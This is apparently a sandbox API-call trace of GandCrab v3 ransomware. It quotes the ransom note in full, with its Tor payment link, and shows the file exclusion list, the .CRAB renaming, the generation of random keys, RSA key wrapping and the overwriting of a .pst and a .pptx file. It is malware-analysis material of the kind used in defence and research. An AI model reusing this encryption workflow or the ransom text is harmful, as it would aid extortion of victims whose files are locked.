	[0129.299] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.301] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0129.301] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0129.302] CloseHandle (hObject=0x3e8) returned 1
	[0129.302] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.302] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned 46
	[0129.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*"
	[0129.303] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x318e478
	[0129.303] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0129.303] FindNextFileW (in: hFindFile=0x318e478, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0129.303] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0129.303] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0129.303] FindNextFileW (in: hFindFile=0x318e478, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0129.303] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0129.303] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0129.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt"
	[0129.304] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.304] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt") returned 62
	[0129.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt") returned 62
	[0129.304] lstrlenW (lpString=".txt") returned 4
	[0129.304] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.305] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0129.305] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt") returned 62
	[0129.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CRAB-DECRYPT.txt") returned 62
	[0129.305] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0129.305] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0129.305] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0129.306] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0129.306] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.306] FindNextFileW (in: hFindFile=0x318e478, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0129.306] lstrcmpW (lpString1="lcfkj@kiekc.df.pst", lpString2=".") returned 1
	[0129.306] lstrcmpW (lpString1="lcfkj@kiekc.df.pst", lpString2="..") returned 1
	[0129.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="lcfkj@kiekc.df.pst" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst"
	[0129.306] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.307] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned 64
	[0129.307] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned 64
	[0129.307] lstrlenW (lpString=".pst") returned 4
	[0129.307] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.307] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pst ") returned 5
	[0129.308] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned 64
	[0129.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst") returned 64
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="desktop.ini") returned 1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="autorun.inf") returned 1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="ntuser.dat") returned -1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="iconcache.db") returned 1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="bootsect.bak") returned 1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="boot.ini") returned 1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="ntuser.dat.log") returned -1
	[0129.308] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="thumbs.db") returned -1
	[0129.309] lstrcmpiW (lpString1="lcfkj@kiekc.df.pst", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.309] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.309] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB") returned 69
	[0129.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst")) returned 0x2020
	[0129.310] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", dwFileAttributes=0x2020) returned 1
	[0129.311] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst.crab")) returned 1
	[0129.314] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.314] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB"
	[0129.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB.CRAB"
	[0129.315] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0129.318] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.318] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.318] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0129.318] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0129.319] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.319] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0129.322] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.323] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.323] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0129.324] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0129.324] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.324] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.325] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.326] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0129.365] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318e378) returned 1
	[0129.365] CryptGetKeyParam (in: hKey=0x318e378, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0129.365] CryptEncrypt (in: hKey=0x318e378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0129.366] GetLastError () returned 0x0
	[0129.366] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0129.370] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0129.372] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318df78) returned 1
	[0129.372] CryptGetKeyParam (in: hKey=0x318df78, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0129.372] CryptEncrypt (in: hKey=0x318df78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0129.373] GetLastError () returned 0x0
	[0129.373] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.373] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0129.373] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.373] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.373] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x42400, lpOverlapped=0x0) returned 1
	[0129.389] VirtualAlloc (lpAddress=0x0, dwSize=0x42400, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.394] VirtualAlloc (lpAddress=0x0, dwSize=0x42400, flAllocationType=0x3000, flProtect=0x4) returned 0x350000
	[0129.400] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.401] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffbdc00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.401] WriteFile (in: hFile=0x3ec, lpBuffer=0x350000*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x350000*, lpNumberOfBytesWritten=0x314c9b4*=0x42400, lpOverlapped=0x0) returned 1
	[0129.402] VirtualFree (lpAddress=0x350000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.403] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.406] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0129.406] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0129.407] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0129.407] CloseHandle (hObject=0x3ec) returned 1
	[0129.407] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.407] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.408] FindNextFileW (in: hFindFile=0x318e478, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0129.408] FindClose (in: hFindFile=0x318e478 | out: hFindFile=0x318e478) returned 1
	[0129.408] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.409] lstrcmpW (lpString1="PfGUfo 2jsurl.pptx", lpString2=".") returned 1
	[0129.409] lstrcmpW (lpString1="PfGUfo 2jsurl.pptx", lpString2="..") returned 1
	[0129.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="PfGUfo 2jsurl.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx"
	[0129.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.409] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx") returned 50
	[0129.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx") returned 50
	[0129.409] lstrlenW (lpString=".pptx") returned 5
	[0129.409] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.409] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0129.409] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx") returned 50
	[0129.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx") returned 50
	[0129.409] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="desktop.ini") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="autorun.inf") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="ntuser.dat") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="iconcache.db") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="bootsect.bak") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="boot.ini") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="ntuser.dat.log") returned 1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="thumbs.db") returned -1
	[0129.410] lstrcmpiW (lpString1="PfGUfo 2jsurl.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.410] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.410] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB") returned 55
	[0129.410] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pfgufo 2jsurl.pptx")) returned 0x20
	[0129.410] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx", dwFileAttributes=0x20) returned 1
	[0129.411] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pfgufo 2jsurl.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pfgufo 2jsurl.pptx.crab")) returned 1
	[0129.411] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.412] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB"
	[0129.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB.CRAB"
	[0129.412] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0129.414] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.415] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.415] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.415] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0129.415] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.415] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0129.418] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.418] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.418] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.418] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.418] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.418] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.419] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.419] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.421] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e0f8) returned 1
	[0129.421] CryptGetKeyParam (in: hKey=0x318e0f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.421] CryptEncrypt (in: hKey=0x318e0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.422] GetLastError () returned 0x0
	[0129.422] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.422] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0129.425] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318dfb8) returned 1
	[0129.425] CryptGetKeyParam (in: hKey=0x318dfb8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.425] CryptEncrypt (in: hKey=0x318dfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.425] GetLastError () returned 0x0
	[0129.425] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.425] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PfGUfo 2jsurl.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pfgufo 2jsurl.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.426] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.426] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.429] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x17126, lpOverlapped=0x0) returned 1
	[0129.447] VirtualAlloc (lpAddress=0x0, dwSize=0x17130, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.449] VirtualAlloc (lpAddress=0x0, dwSize=0x17130, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0129.452] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
